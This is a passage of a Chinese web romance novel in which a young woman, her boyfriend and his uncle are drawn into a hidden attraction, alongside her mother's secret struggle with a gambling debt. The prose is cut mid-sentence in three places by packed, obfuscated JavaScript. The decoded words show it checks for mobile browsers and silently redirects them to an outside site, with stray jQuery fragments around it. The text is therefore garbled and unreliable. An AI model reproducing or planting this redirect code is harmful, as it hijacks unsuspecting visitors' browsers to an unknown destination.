d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话没说完,就见原本站在一旁李棠梨直接坐到了纪嘉誉身边,关切地凑近瞧他。 顾峙不作声了。 见他还有些惺忪,她有些忧心:“嘉誉,你要是累的话,还是上去休息吧,不用管我。” 纪嘉誉打了个哈切,没当回事儿:“我说送你就送你。而且是司机开车,又不是我开。” 昨晚游戏中场休息时,他才拿起手机,看到李棠梨发来的求助。 她是很知道进退的,两条消息,一个未接来电,就懂事地没再问过了。 往上一划,他们的聊天框里,绝大多数都是左边在自言自语唱独角戏,他的回复零零落落,凑不全几句话。 再想起上回因为一句气话害她在水里呆到发烧,纪嘉誉终于有些愧疚。 兴许是觉得这些日子冷落了她,所以今天早上,出于补偿心理,他想送送她。 可是李棠梨刚坐下,纪嘉誉突然神色一变。他倾过身,在她肩颈上嗅闻了一记。 李棠梨不明所以,身子躲了躲,纪嘉誉却一把按住她的手腕。 他问:“你身上是什么味道?” 14.第 14 章 他突兀刺过来一句,李棠梨疑惑地低头:“……我身上有什么味道吗?” 纪嘉誉自己也说不上哪里不对劲。 李棠梨从不喷香水,身上一向没什么味道。硬要找的话,凑近衣领,会闻到一阵廉价的茉莉花洗衣液味儿,被她的体温熨得暖融融的,跟从皮肤里透出来的一样自然。 每次聚会,一群人烟酒不忌地玩到最后,总是闹得乌烟瘴气。纪嘉誉嘴上不说,李棠梨哪怕什么事儿都不做,只是坐在他身边,他也觉得清净不少。 但在今天,这种清净感消失了。 人刚往坐下,他的嗅觉第一时间察觉到异常,她的气味复杂了许多。 一股醇厚的乌木香沉沉地覆住了她,使得原本的茉莉花香只能无力地露个尖儿出来,两者混合纠缠在一块,不分彼此。 奇怪的是,对于这股质感高级的乌木香,纪嘉誉竟然还有些熟稔。 可木质香并不冷门,周围很多人都会用,他一时想不起来是谁。 纪嘉誉皱眉:“一股香水味,你喷香水了?” “香水?”李棠梨眨眨眼,“没有啊。” 不对,香水? 电光火石之间,前因后果勾连起来,李棠梨蓦地僵住了。 手腕被有些用力地攥在掌心,微微的痛感里,她的眼睛下意识绕过了面前的纪嘉誉,落在了站在沙发背后的另一个男人脸上。 是顾峙的香水。 或许是昨晚在顾峙的房间里呆得太久,或许是借用了他的洗发水和沐浴露,李棠梨无知无觉间地沾染了一身。 顾峙一言不发地看着她,四目相对间,李棠梨打了个激灵。 她率先扭过头,再次隐瞒了事实,在两个人的注视下撒谎说:“应该是不知道在哪儿蹭到的。” 纪嘉誉才松开手,心头说不上的不舒坦:“可能吧。你不适合这个香水,很难闻。” 李棠梨听话地点了点头。 他没注意到,她的手心都出了汗。 李棠梨慢慢捏住拳,呆不下去了,起身说:“我去趟卫生间。” 纪嘉誉摆摆手,仰着头闭目养神。 她垂着头,刻意加快脚步,可就在路过顾峙的一瞬间,猛地急停,站在原地不动了。 因为一只手伸出来,握住了她的胳膊。 顾峙侧朝向她,嘴唇翕动,轻声说:“说谎可不是好女孩该做的事。” “你!” 李棠梨脸色涨红,面皮一阵发烫。 他明明最清楚! 她真是有点羞愤了,不撒谎,那她应该怎么说?难道要如实说出她昨晚是在他的浴室里洗的澡,和她男朋友的舅舅在房间独处了将近半个小时吗? 李棠梨自己也意识到,这是不太光彩的事,是不能在大庭广众之下说的,要小声、再小声,最好不说,只有他和她这两个当事人心照不宣才好。 可是,可是他们根本就没有做任何见不得人的事! 对了,上次在餐桌上不也是这样吗?那个时候他什么都没问,为什么这次非要挑明? 站在一块,两人身上同源的木质香又在暗自交互了。 顾峙垂下眼,望进她窝了一汪水的眼底。像被火苗燎到烫了一下似的,他忽地反应过来自己在干什么,松开了那只牢牢抓着她小臂的手。 “抱歉。” 他迈开步子,衣角匆匆飞起,轻轻打在李棠梨的手背上,引得她小幅度颤了一下。 两人擦肩而过。 虽然前后不过几秒,但这一幕,还是落在了不远处的顾语琴眼里。 看着李棠梨和哥哥略显急促慌乱的身影,她若有所思地转过头。纪嘉誉还闭着眼睛,一副困得快睡着的样子,对不远处发生的事浑然不觉。 几分钟后,李棠梨冷静下来,她叫醒纪嘉誉,准备出发了。 顾语琴坐在轮椅上送别她,语气轻快而笃定的:“我有预感,你很快就会来当我的护工,到时候我们就可以整天都在一起了。” 昨天刚加上联系方式,李棠梨委婉地说:“语琴姐,你要是想和我说话的话,随时可以在微信上找我。” 顾语琴笑而不语,神神秘秘的,搞得李棠梨一头雾水。 走到地下车库,一道声音却从背后叫住了她。 “李小姐,等等!”阿姨快步追上来,手里像攥着什么东西,表情有些难以形容,既好奇又怪异的。 “你的耳环,顾总让我还给你。” 耳环……她一下想起来,昨晚落在顾峙洗手台上了! 纪嘉誉此时已经坐进了车里,没听见阿姨的话。 李棠梨不敢多看阿姨的神色,从她手里接过那两个烫手的的耳环,胡乱塞进口袋:“谢谢您。” 在纪嘉裕的催促声里,她坐上了车。 他问:“阿姨叫你有事吗?” “耳环忘在房间里了。”她刻意混淆,没说清是谁的房间。 果然,纪嘉誉没有深究下去。 小小的耳钉沉沉地坠在口袋里。 这算不算是第三次撒谎,她想。 这种烦恼并没有困扰她太久,回到小区时,就消散得差不多了。 张梅婷清晨如常在那颗老榕树下面,她正要打招呼,却见她不知道在和其中一个大爷说什么,看着有点焦急。 李棠梨唤了她一声,张梅婷立刻止住话声。 女儿隔段时间,就会在外面过夜,但次数不多,张梅婷也没有过多制止,询问清楚就罢了。 毕竟她也这么大了,再怎么说,也比之前天天不着家强多了。起码李棠梨现在知道提前报备,不叫她提心吊胆地猜测。 只是今天,她回来的时机不太凑巧。 张梅婷生硬地岔开话题说:“棠棠回来啦?上楼再歇会儿吧,等会儿又该上去班了。” 李棠梨被她推了一把后背,颇有些赶她走的意味。 怀疑妈妈有什么事儿瞒着自己,想问明白,又咽了下去。 “好,那我回去了妈。” 女儿走了,张梅婷才扭过头,神情焦急地说:“大哥,求你帮帮我吧!你也知道我家情况,外面背着债,我的病又把孩子给耽误了,她怎么撑得起来?趁我还能动,不能再待家里吃干饭了!” 李大爷叹了一口气,挠了挠脑瓜顶,为难地说:“真不是我这人不厚道,妹子,你这身体说不好就倒了,谁也不敢雇你啊。” 张梅婷把胸脯拍得啪啪响:“你放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15138825|162711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心大哥,我有分寸,出什么事儿我自己担着,这样,你把老板电话告诉我,我自己跟她说,行吗?” 成功从李大哥手里拿到了家政公司老板的号码,张梅婷高兴地谢了又谢,说改天一定请他吃饭。 自从她动了场手术,在床上躺了好几月,李棠梨就禁止她再出去干活了。 她平时脾气很软,一旦涉及张梅婷身体这条红线,就一寸也不肯退让,急了就不说话,怎么都不松口。 这就是为什么张梅婷必须得避着她。 虽然她是闲不住的性子,但也不会不拿身体当回事儿。 变故发生在前两天,一通急促的电话打破了这段时间的平静。 听到那头债主梦魇一般的声音,张梅婷抖如糠筛,亡夫的那笔赌债明明才还清了啊。 哪知道,对方却厚颜无耻地声称,本金是还了,可这么多年过去了,还得再添上十万的利息! 十万块钱! 听闻这个噩耗,刹那间天旋地转。挂断电话,张梅婷连咒骂的力气都没有了,她枯坐在床边,大哭一场,一度绝望到想要结束生命。 女儿年幼,在外务工的丈夫被所谓的好友带去赌博,赌得家里当了个精光,一晚上欠下百万巨款。他倒是一拍脑门,往下一跳,轻轻松松咽气了。 活着的人却替他遭罪,一帮人上门暴力讨债,怕牵连其他亲人,母女俩没法在老家呆了,才背井离乡搬来这里。 不是没想过报警,可债主来自一个涉黑小型团伙。除非能一次性斩草除根,否则,一定会迎来他们更疯狂的报复。 哪怕是几个漏网之鱼,母女俩也承受不起这个代价。 说白了,她们只是两个底层的弱势群体,生和死都像是池塘上泛起的涟漪,片刻后就消失不见,无人在意。 张梅婷怎么样都无所谓,可李棠梨怎么办?她还这么小,张梅婷还没亲眼看着她找到一个值得托付终生的人,还没看到她闯荡出更广阔的未来。 哪怕只有万分之一的可能,她也不敢去赌。 李大爷的妹妹曾经就在这个家政公司工作,张梅婷把号码小心地存进手机通讯簿,打算等李棠梨不在家了,再打过去问问具体情况。 回到家,李棠梨正在厨房忙活炒菜,她想趁着早上有时间,赶快把中午的菜饭做好。到了饭点,张梅婷热一下就可以直接吃了,省得再麻烦她动手。 看她这么懂事,张梅婷更为心酸了。 临走前,李棠梨挎上包,还是隐隐不放心,问她:“妈,最近你有什么烦心事吗?” 张梅婷笑了:“能有什么事儿?你这孩子,人小心思重,行了,赶紧去上班吧,别迟到了。” 说白了,即使把这件事告诉李棠梨,除了给她造成更大的压力,又能改变什么? 更何况,她前段时间打扫时,无意中从李棠梨枕头底下摸出一本高中的习题册。上面认真标注了日期、对错、解题思路,最新日期是在前天。 原来李棠梨为了不让她多想,一直在瞒着她自学。 她的女儿人生才刚刚开始,不应该再背负上那个赌鬼爹造的孽。 张梅婷想,只要再咬咬牙,省吃俭用堵上这十万块钱的窟窿,一切都会好起来的。 15.第 15 章 “砰——” 开阔的场地,一发子弹撕破长空,伴随着尖啸的尾音,倏地没入靶中。 靶子狠狠震荡,尚未平复,随即又是两发枪响,又快又准地击中了它。 持枪的男人两腿分立,他穿着西裤衬衫,跟刚从会议室出来一样,袖口挽起,右臂平直,脸上没什么神情。 砰砰的枪声不间断地响彻四周,一连打空八枪弹夹,顾峙才放下枪。 几个男人站在后面看着,惊声不断。 关望津吹了声口哨:“准头不错。” 他一把挎上顾峙的肩膀,笑问:“顾总宝刀未老啊,不是金盆洗手了么?今天怎么不去公司,有空跑这儿跟我们鬼混来了?” 顾峙拨开他的手臂,拾起外套,往休息室走:“不欢迎?” 有个人附和说:“哪儿能啊?你要是想打枪,国内这些俱乐部现在都没意思,枪锁在链子上不能动。我认识一个E国朋友,名下庄园里有片私人靶场,不光地方又大又空,还是真枪实弹,那才爽。” 顾峙说:“来回太麻烦,下次吧。” “也是,你每天忙得到处飞,哪儿有时间。” 一行人跟着进去,坐下来,突然有人感慨:“难得聚一块,真怀念从前那时候。” 其实他们别人都还成,难见一面的是顾峙。 十几年前,他们还是和纪嘉誉差不多的年纪,浑身有无穷的精力,几个人一块打枪、赛艇、跳伞,玩各种极限运动,跑非洲狩猎角马,好像明天就是世界末日一样肆意狂欢。 顾峙当时玩得比谁都凶。 兄弟几个没少私底下骂顾峙。学业上独占鳌头就算了,背地里还比他们会玩,表面人模人样,装得跟二十四孝好少年一样,标准的别人家孩子。 一听爸妈拿顾峙当榜样说教,他们就胃疼。 没人会料想到,那场突如其来的车祸会改变顾峙的一切。 其他公子哥们不慌不忙地从学校毕业,满世界旅游,热衷于跟家里对着干的时候,从医院捡回一条命的顾峙没来得及喘息,一边上大学,一边学习接管企业,极快地在阵痛中蜕变成了冷静克制、表里如一的工作狂。 关望津叹了一口气,问他:“既然心情不好,就说说吧?” 顾峙顿了顿:“很明显?” “心情好你来这儿干吗?” 顾峙垂眼,转动了一下手上的尾戒。 其他人好奇:“什么事儿,不能说?” 顾峙下颌线绷得更紧了些。是,说都不能说。 关望津嘿了一声,不信邪,开始漫无目的地猜:“公司?家人?身体?感情?” 顾峙一直没吭声。说到感情,别人却直接替他否决了。 “为情所困?谁?” “他是性冷淡这事儿兄弟几个还有人不知道吗?” “我宁愿相信是顾家快破产了,也不相信他是石头开花。” 众人插科打诨一番,谁也不往这个上面想。 倒不是别的原因,其实不管是在学生时代还是现在,追顾峙的人只多不少。 前两年还有女明星通过一张借位照片炒作绯闻,不过没等舆论发酵,荣星集团的官方号就火速发了澄清。 大家也纳闷,顾峙长这样优越的一张脸和身材,又是家族里的实权人物,钱权样样不缺,硬是把自己活得跟个卫道士一样不近女色,简直暴殄天物。 没人注意到,顾峙的身形微不可察地顿了一下,为了掩饰这点异常,他也跟着笑了一声:“都不对,再猜。” 探过身,从玻璃茶几上的烟盒中挑出一支烟。 关望津猜了一圈,顾峙一直没点头,最后大家也腻歪他藏着掖着没劲儿,扭头叫人送进来几瓶酒,开始玩牌了。 顾峙不参与,后心靠在沙发上,坐姿怠懒地看着他们玩。 他仰起头,喉结一滚,缓缓吐出一口烟。心思也拢在这片朦胧而有毒的白雾中,逃不出去,也无处落脚。 这几天,他时不时就会想起那时的场景。他情不自禁地握住李棠梨的手臂,把人拦在走廊里,全然不顾几步之外就是她的男朋友。 事发之后,为了避免再度失控,他直接托阿姨把那对儿留在洗手台上的耳环还了回去。 越是刻意不去想,就越是频繁记起。 如果是别的人也就算了,李棠梨偏偏是自己外甥的女朋友。 他这样,和曾经那个破坏自己家庭的第三者有什么区别? 那张脸一浮现在心头,紧接着就涌上一股难言的滋味,又是悸动又是自厌。像是一辆在黑夜里行驶的列车,随时有要脱轨的风险。 夹烟的指尖一抖,一小截烟灰疏疏落落掉在地上。 手机嗡地一声,拽回了他的神智。是顾淑凤发来的信息,让他今天抽空回老宅一趟,有事要和他说。 他起身要走,关望津说送送他。 到门口,关望津扒着车门,才贱嗖嗖地说:“顾峙,老实交代,你是不是因为阳痿自卑了?” 顾峙没心情和他打趣,阴森森地盯着他:“找死?” 关望津终于正色道:“那你跟我说实话,究竟是因为什么?总不可能是动春心了吧?” 然后,随口乱说的他就吃惊地发现,顾峙居然沉默了——他没有否认。 但他转念一想,正常男欢女爱有什么好稀奇的。顾峙的同龄人好多连孩子都抱俩了,他早该有动静了。 关望津不解地问:“喜欢就追呗,你这是看上哪路神仙了,这么难搞?” 不能追。要是能追,他能烦成这样? 顾峙升上车窗,不想跟他多谈,撂下一句:“你就当不知道,走了。” 一路上,这种心烦意乱还是不时出来捣乱。 顾淑凤正在浇花,听见脚步声,抬头望了一眼墙上的挂钟,纳闷地说:“今天这么早就下班了?” 顾峙轻轻带过:“事情处理得差不多了,正好看见消息,就回来了。” 顾淑凤拿着水壶,一面浇,一面说:“哦,爸妈的忌日快到了,我跟你说一声,记得提前把那天的日程空出来。” 她话声很平静,顾峙看着她精心摆弄手下绿意蓬勃的盆栽。只有这些花草树木才能岁岁抽新枝,人总是无可避免地在一年又一年里长大、衰老。 她忽然叹了一口气:“过的真快,一眨眼就快14年了。想想那个时候,他们两个天天吵架、摔东西,一回家就跟打仗似的,感觉都像是上辈子的事情了。” 亲人逝世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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前夫也曾主动尝试来中国陪伴她,但依然存在不适应气候饮食、彼此生活节奏不同步等种种问题。 纪嘉誉七岁时,聚少离多的两个人和平分手了。离婚后,顾淑凤怕儿子受委屈,更是无止尽地溺爱他。 直到今年,她回过味儿来,发觉有些不对劲儿了。 纪嘉誉先是和一个夜场女人勾搭上,这也就算了。李棠梨这个小姑娘接触下来,总的来说本质不坏,顾淑凤说不上有多喜欢她,但目前至少不反感了。 可让她没有想到的是,她好不容易才接纳了李棠梨,儿子居然扭头跟另外一个女孩勾搭上了! “前天在商场外面,我一眼就看见他和一个高个儿漂亮女孩站一块。那女孩搂着他胳膊撒娇,看着很亲密。我立马找人去查,是F市人,家里破产了,专门跑来A市的。这,这……” 顾淑凤说不下去了。 一方面是担心儿子被骗;另一方面又痛心于他对待男女关系的随意态度。 说句难听的话,她很怕纪嘉誉会走上和她父亲相似的道路。 她没注意到,不远处的顾峙闻言抬起了头,他问:“纪嘉誉和别的女孩谈恋爱了?” 16-20 第16章 (一更)裙子别乱动。…… 顾淑凤坐下,恨铁不成钢地拍了下大腿:“什么谈恋爱?这叫出轨,乱搞男女关系!” 顾峙走到大姐身后,替她捏了捏肩,话声里听不出异常:“是不应该。他没和那位李小姐分手吗?” 顾淑凤怒道:“人家前一阵才来家里做过客,就算他是分手之后另找的新欢,时间上挨得也太紧了,毛都没长齐的小孩,还脚踏两只船上了?而且,昨晚他和李小姐一起出去吃的饭,不像是分手的样子。” 晚上单独出去吃饭? “你怎么不动了?诶,我正好右肩膀有点酸,你往那儿锤一下……” 还好顾淑凤看不见他的脸,顾峙发沉的声音从头顶传来:“照这么说,兴许李小姐现在还被蒙在鼓里。” “肯定。该拿这孩子怎么办,唉……”当妈的一声长叹。 顾峙踱步到茶几旁坐下,他侧着身子,沏了一盏茶,推到满面愁容的顾淑凤身前:“喝杯茶,别发愁了。” 顾淑凤斜睨他,连带着对弟弟也带出了点火气:“你这个当舅舅的就一点也不着急?” 顾峙闷声笑了:“姐,该做的不该做的我都做了,还能怎么办?” 这句话其实是在暗中讥讽自己,不过顾淑凤听不出来。 大姐让他去酒店捉人,他捉了。外甥嘴硬,他断了卡。打骂双管齐下,纪嘉誉的反骨越打越硬,偏要三番四次把李棠梨往家里带。 见人家女朋友见多了,不仅没拆散他们,他也搭了进去,横生出一截歪歪扭 扭的枝桠。 现在不上不下吊在这儿,外甥不是外甥,舅舅不像舅舅,顾峙现下最瞧不起的人,其实是他自己。 顾淑凤捂着茶杯,出神地喃喃道:“谁不是从这个年纪过来的?怎么你十八岁的时候就……”那么懂事? 说到半截,她突兀地止住,意识到失言了。 顾峙神情淡淡,就此止住话头。 姐弟二人相对无言,静坐片刻,突然,外头打起一道雷,下急雨了,冷风挟住雨点横扫进来。 这阵不安的沉寂被骤雨打破,顾淑凤惊叫一声站起来:“不好,我早上刚把那几盆花抱出去!” 她离开后,顾峙走到暗沉沉的露台边,天边青灰色的苍穹重重倾倒在屋檐上,雨声劈里啪啦打在地上,潮湿的腥气从土里弥漫上来。 湿气如同一把小刀,缓缓割开他愈合的旧伤。手腕隐隐作疼,像是回到了车祸的那个雨天。 * 往后的半个月里,顾峙又重新泡在了公司里。 其实那场重中之重的跨国并购案已正式进入整合与交割阶段,这段时间的繁忙可以暂时告一段落。 集团的日常管理并不需要顾峙事必躬亲,他完全有理由休息一些时日。 所以,他是刻意为之,企图用忙碌的工作来霸占所有思绪,以教他不必去过度思索一些不应该去想的人或事。 每天早出晚归,日程排得满满当当,连根针也插不进去。 有天,刚签完递上来的合同,助理推门进来:“顾总,顾小姐刚刚给您打了一个电话。” 顾峙搁下笔,揉了揉眉心:“语琴?她有什么事?” 助理默了默:“说是上午送球球去宠物店洗澡了,让您现在立刻接回家里。” 球球是家里的猫的名字。 由于缺乏陪伴,顾语琴前两年提出想养只宠物解闷。 虽然她的哮喘过敏原不是猫毛,但出于谨慎态度,球球还是一直养在单独的管家房里,由管家照理。隔几天抱到顾语琴跟前逗一逗,这样各方面来说都比较稳妥。 给球球洗澡还用专门送到宠物店?而且还点明了要他接回去。 “……要我专程去给她送猫?” 要求到了荒诞的地步,顾峙反而不觉得生气,只是揣测她葫芦里卖的什么药。 既然电话都打过来了,加上这段时间一直忙工作,该回家看看了,顾峙索性照做。 绕道去了趟宠物店,接上猫到家,没看见顾语琴,阿姨说是刚出门散步,得花些功夫呢。 这下顾峙是真被气笑了,故意瞎胡闹折腾他呢? 他抱着猫,长腿一迈,一径上了书房,冷声丢下一句话:“让她来书房找我!” 球球很亲人,一直在他脚旁摇着尾巴蹭他小腿,顾峙被缠得不胜其烦,弯腰把球球抱到膝盖上,空出一只手熟练地挠了挠它下巴。 一阵脚步声姗姗来迟,顾语琴象征性地敲了两下门,半点不客气,直接推开了门:“哥,球球你接回来了没?” 顾峙冷笑,还没发作问她今天究竟搞什么名堂,却瞥见顾语琴身后还跟着一个人。 目光一滞,话也卡在了喉咙里。 入眼的先是半新的牛仔裙,一张白净的脸,她神色腼腆,嘴唇习惯性地抿着,拘谨地躲在语琴身后。 是多日不见的李棠梨。 李棠梨脑袋发懵,今天排班轮休,先前休息日顾语琴邀请了她两次到家里玩,都被她婉拒,人家第三次开口,她脸皮薄,不好意思再找借口,乖乖来了。 和前两回不同,她只瞧见顾语琴一个人,加上今天是工作日,就下意识以为只有她一个人在家。 一起漫无目的地散了会儿步,顾语琴瞄了眼手机,突然说家里的猫接回来了,牵着她回别墅。 结果书房门一开,猫确实是有的,还多出了一个男人。 顾峙穿着黑色高领长袖,衣服是贴身的,衬得他宽肩窄腰。笔记本电脑放置在一旁,小猫趴在他大腿上,被他有一搭没一搭地摸着。 见到她,顾峙似乎也愣了一下。 手下力道不由自主大了些,球球不乐意地扭了扭,从他大腿上跳下来,一溜烟跑到顾语琴跟前。 “顾先生,好巧。”想起上回有些微妙的交谈,李棠梨不自然地打了一个招呼。 顾峙不动声色地垂下眼,一手抚了抚腿上被小猫蹭出来的褶皱,应了一声。 顾语琴蹲在地上搓着猫头一阵狂撸,掐着嗓子胡乱叫了一通好猫猫、乖球球。 听到他们两个蹩脚的问候,她扑哧笑了一声:“你坐,别跟罚站似的站在这儿。” 书房是复古风格,地上铺了一层厚厚的地毯,百叶窗之前,摆着一张黑棕色雕花实木长桌,顾峙一般就坐在这儿办公议事。 办公桌的右侧,是两个半圆形的棕红单人沙发,中间立着一方玻璃小圆桌,方便放书。 左右两面都是定制的满墙书橱,贯通房间南北,高度直抵屋顶,上面满满当当地收纳着各色丛书。 闲谈没两句,李棠梨总觉得如芒在背,却又不知道从哪儿冒上来的这股感觉。扭头望向办公桌,只能看到顾峙流畅而利落的侧脸。 她略带不安,贴在顾语琴耳旁,小声地说:“我们在这儿,会不会吵到他工作?” 言外之意就是要不出去? “会吗?”顾语琴听懂了,却佯装不知。 她低头一笑,捏住球球的爪子:“棠梨,你说得对,那我们看会儿书吧,怎么样?” 好吧。李棠梨也不敢挑明想法,只好窝窝囊囊地妥协。 不过看书其实也很合她的意,她平日闲暇时为数不多的娱乐活动就是逛书店。 顾语琴想看一部之前没读完的小说,她懒得动身,把名字和作者告诉李棠梨,指了指大概位置,让她一块拿过来。 李棠梨到书柜前一排排扫过去,挑了一本感兴趣的人物传记看。至于顾语琴想看的那部小说,她在那个位置寻找半天,才在头顶看到。 踮起脚往上够,胳膊都打直了,堪堪碰到书的底部。 就差一点了。…… 她还打算努努力跳起来够一下,忽然,视野一暗,有道黑影覆在了她的身上,耳边随之传来一道淡淡的声音:“裙子别乱动。” “什、什么?” 她受惊地转过脸,见身旁赫然是本应该坐在桌前专注办公的顾峙!他什么时候过来的?怎么走路没声没响的? 听见他的提醒,她匆匆扭过头,朝后一瞧,脸猛地蹿红了—— 他擎着一本书,挡在她的臀后。裙子布料浆洗多次后变得较为硬挺,因为她幅度较大的动作,裙摆微微翘起,那只手绅士地隔了一点距离,只是手上握的书稍微蹭到了一点裙摆的边。 明明他什么都没有碰到,李棠梨却心如擂鼓,她赶紧背过一只手,把翘起的裙边一把捋下去。 这完全是此地无银三百两,本来她放下后脚跟,裙子就相安无事地落回原位,什么也露不出来。 偏偏还要捋一下,像是能弥补刚刚的迟钝和大意似的。 她咬着嘴唇,脸上红扑扑一片,飞快地瞥了一眼沙发那头背对着他们的顾语琴。 顾峙从她身上挪开眼,将那本从旁随意抽出的书复归原位,若无其事地问:“要拿哪本书?” “毛姆的《面纱》。” 他身材颀长,伸出手臂,轻轻松松从书架上拿下那本导致女孩难堪的罪魁祸首。 李棠梨接过,眼皮低垂,没有看他:“谢谢。” 顾峙问:“喜欢这本书?” “这是语琴姐要看的,我还没读过。” “哦。” 影子落在书橱上,两人拉长的影子静止不动,他们中的一部分在难舍难分地重叠、融合又在下一秒脱离。 顾峙突兀地说了一句:“下次注意点。” 他迈开腿,离开了书架旁。 * 顾语琴抬起头,看着那本李棠梨放到圆桌上的书,有些意外:“这么快就找到了?我都不确定是不是还在那儿放着。” 李棠梨“嗯”了一声,她心不在焉,挤出一点笑容:“在书架靠上几排,挺好找的。就是我够不到,是顾 先生帮忙拿的。” 顾语琴朝长桌那头一瞧,见她哥正襟危坐,看不出丝毫端倪。 实在很有意思。 翻开书,第一页开头,就是妻子和情人出轨,险些被丈夫捉奸在床的场景。 她的眼睛不着痕迹地爬到李棠梨身上。 她长相说不上漂亮,身材纤瘦,两只手捧着书,看得出她很努力地想看进去,但眼神依然读不完几行就开始飘忽。 顾语琴其实也很好奇,本来上回她只是抱有怀疑,不敢妄下定论。 今天一试,就试出来真假来了。 平日里她要是敢这么耍顾峙,最轻也要挨几句教训,要是玩笑开得过火,严重点还会被他禁足在房间里。 但李棠梨一进书房,他哥那股溢出的恼火就被吸走了大半,也不出声问她到底在作什么妖,而是以一种默认的姿态坐住了。 这就不正常。 三个人各怀鬼胎地坐着,书房静了下来,只有偶尔敲击键盘和翻书页的声音。 在逐渐平复的心绪中,李棠梨终于强迫自己看了进去。 手指夹在第二十页的书角上时,旁边的顾语琴突然脸色难看地咳嗽了一声。 第17章 (二更)一只猫惹出的意…… 李棠梨放下书,侧过身,一只手轻拍她后背:“语琴姐,还好吗?有感觉呼吸困难吗?” 顾语琴摆摆手:“没事的,不是哮喘,你们别担心。” 李棠梨观察她呼吸平稳,表情正常,的确没出现什么哮喘症状。 但猫还是不能玩了。 顾峙果断把阿姨叫进来,让妹妹回顶楼换衣服,把身上的猫毛清理掉。这是她每次撸完猫之后的固定流程。 在挪上轮椅之前,顾语琴将怀里蜷着的球球一把塞到了坐着的李棠梨怀里:“你先替我看下球球,我一会儿下来和你看电影。” 说着,狡黠地冲她眨了一下眼睛,神色灵动得不像是方才身体不适的人。 这个念头快速在脑海闪过,猝不及防的李棠梨来不及认真思索,那只猫就跟液体一样软在了她的肚子上。 球球半点不见外地窝在女孩大腿上伸了个懒腰,喉咙咕隆咕隆地响,喵喵叫了好几声,很卖力地勾引女孩摸它。 可惜,热情的猫咪遇到了木头一样不懂风情的笨人类。 李棠梨整个人呆在原地,两条手臂搭在扶手上,一动也不敢动。 书房里只剩下她和顾峙了,她顾不上之前的种种尴尬,声音发着抖求助:“顾先生,帮帮我。” 余光一直扫向她的顾峙早就看出了不对劲。 刚进书房时,语琴让她摸摸球球,她就真的只是“摸”了一下,从伸手到缩回,整个过程估计不超过三秒。 “你怕猫?” “有点……” 也说不上怕。妈妈嫌打扫起来麻烦,家里从没养过猫猫狗狗。 加上李棠梨儿时被流浪猫挠过一爪子,去医院打疫苗哭得稀里哗啦,被耳提面命以后碰见猫狗都绕道走,久而久之就很少接触了。 乍然有只猫这么赖在身上,实在很难适应。 顾峙看她半晌,怎么这么好欺负? 连一只猫都把她欺负成这样,他唇角微扬:“你动一动,它会自己跳开的。” 李棠梨尝试着动了动腿,球球大王宝相庄严、岿然不动。 它稳稳躺在她双腿之上,毛茸茸、热乎乎的微妙触感令李棠梨头皮发麻:“它不走。” 顾峙终于肯从容地站起身:“球球很喜欢你。” 她开始胡言乱语:“啊,那我谢谢它……但是、能不能先从我身上下来……” 迎着李棠梨无助而祈求的目光,他走到跟前,将袖子捋到小臂,弯下腰,直接去抱耍无赖的球球。 球球之所以叫球球,和它圆润肥美的身形脱不开干系。 可能是记恨刚刚顾峙没轻没重地捏痛了它,猫大怒,以大师级别的高超身法从他合围的掌中甩尾挣脱出去。 它平等地赏了两个人一记飞踹,接着在空中纵身飞跃,如同一张印度飞饼,稳稳落在了地上。 球球得意地摇着尾巴走了,留下沙发上东倒西歪的两个人。 女孩被迫挤在沙发角落,脑袋枕在夹角处,艰难仰着头颅,两只手努力地推在几乎要压住她的顾峙的胸膛上。 男人一只手撑住扶手,上半身险些要倒在女孩身上,左腿屈膝跪在沙发上。 从身后看,顾峙把李棠梨整个挡得严严实实。唯有在他笔挺的西裤之间,露出一双不住发颤的细腿。 当时,李棠梨只记得顾峙在她面前俯下身,浓密的黑发在眼前晃了晃,忽然,那只猫飞射了出去,一脚重重蹬在她的锁骨上,身体随之歪斜。 顾峙也闷哼了一声,在一阵兵荒马乱中,有什么坚硬的东西在她的左脸磕碰了一下。 她吃疼地闭上眼睛,疼痛牵连出生理性的泪水,再睁开眼,就蓦地撞入一双深灰色的眼睛里。 顾峙的脸近在咫尺。瞳孔紧缩,眼睛一眨不眨地凝视着她。 鼻息挨着鼻息,呼吸缓缓交融,近得仿佛只要歪过头,两个人的唇就可以毫无阻隔地贴在一起。 可能是一秒,也可能是一分钟,在这种寂静的四目相视中,李棠梨恍惚间听见越来越大的心跳声。 ……谁的心跳声? 她如梦初醒,像触电一样撇开视线,鼓起一点勇气,推了推男人几乎遮住她所有视线的宽肩,发出小声的哀求:“你快起来呀。” 顾峙垂着眼睛,见她黑发披散在脑后,脸颊泛着粉,黑的黑、白的白,眼尾还含着一泡将落不落的泪珠,真是可怜死了。 想把压着她的男人推开,又不敢碰他,推一下就缩回去,不痛不痒的,和故意摸他有什么区别? 他冷着一张脸,心想,真是不自重,活该被人欺负。 李棠梨不知道自己被他在心里连篇累牍地编排造谣,不然一定会气得哭出来。 顾峙终于动了,却堵着她的话头:“脸疼吗?” “不疼,你别……” 他伸出一只手,摸上了李棠梨发红的右脸。 这里是被他的表盘不慎磕到的。 他一触碰到她,李棠梨情不自禁地抖了一下,泪珠顺着眼尾滑落。 他手大,一摸上她的侧脸,一下包住了小半张脸。粗粝的指腹厮磨在白净的面皮上,落下一簇簇火苗燎烧,尾戒却冰凉凉地磕在她下颌上。 